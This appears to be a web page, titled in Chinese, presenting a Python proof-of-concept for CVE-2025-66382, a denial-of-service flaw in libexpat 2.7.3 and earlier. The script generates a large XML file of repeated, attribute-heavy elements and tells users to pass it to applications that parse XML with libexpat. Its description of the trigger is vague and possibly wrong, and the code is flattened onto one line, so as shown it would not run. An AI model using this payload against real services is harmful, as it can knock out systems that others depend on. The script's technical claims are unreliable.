CVE-2025-66382: libexpat XML解析器拒绝服务漏洞

#!/usr/bin/env python3 # CVE-2025-66382 PoC - libexpat DoS via large crafted XML file # This PoC generates a specially crafted XML file that triggers # excessive processing time in libexpat <= 2.7.3 def generate_crafted_xml(output_file='cve_2025_66382.xml', size_mb=2): """ Generate a crafted XML file that causes libexpat to spend dozens of seconds processing. The crafted file exploits algorithmic complexity issues in XML entity expansion or attribute processing. """ target_size = size_mb * 1024 * 1024 # Convert MB to bytes with open(output_file, 'w', encoding='utf-8') as f: # XML declaration f.write('<?xml version="1.0" encoding="UTF-8"?>\n') # Root element f.write('<root>\n') current_size = len('<?xml version="1.0" encoding="UTF-8"?>\n<root>\n') # Generate deeply nested or repetitive XML structure # that triggers processing overhead in expat counter = 0 while current_size < target_size: # Use attribute repetition to trigger quadratic behavior attrs = ' '.join([f'attr{i}="value{i}"' for i in range(50)]) f.write(f' <item id="{counter}" {attrs}>Content {counter}</item>\n') current_size += len(f' <item id="{counter}" {attrs}>Content {counter}</item>\n') counter += 1 if counter % 100 == 0: # Add nested elements for additional complexity for depth in range(5): f.write(' ' * (depth + 2) + f'<nested depth="{depth}"/>\n') current_size += len(f' ' * (depth + 2) + f'<nested depth="{depth}"/>\n') f.write('</root>\n') print(f'Generated {output_file} ({current_size / 1024 / 1024:.2f} MB)') print('This file can trigger prolonged processing time in libexpat <= 2.7.3') if __name__ == '__main__': generate_crafted_xml() print('\nUsage: Pass this file to an application using libexpat for XML parsing')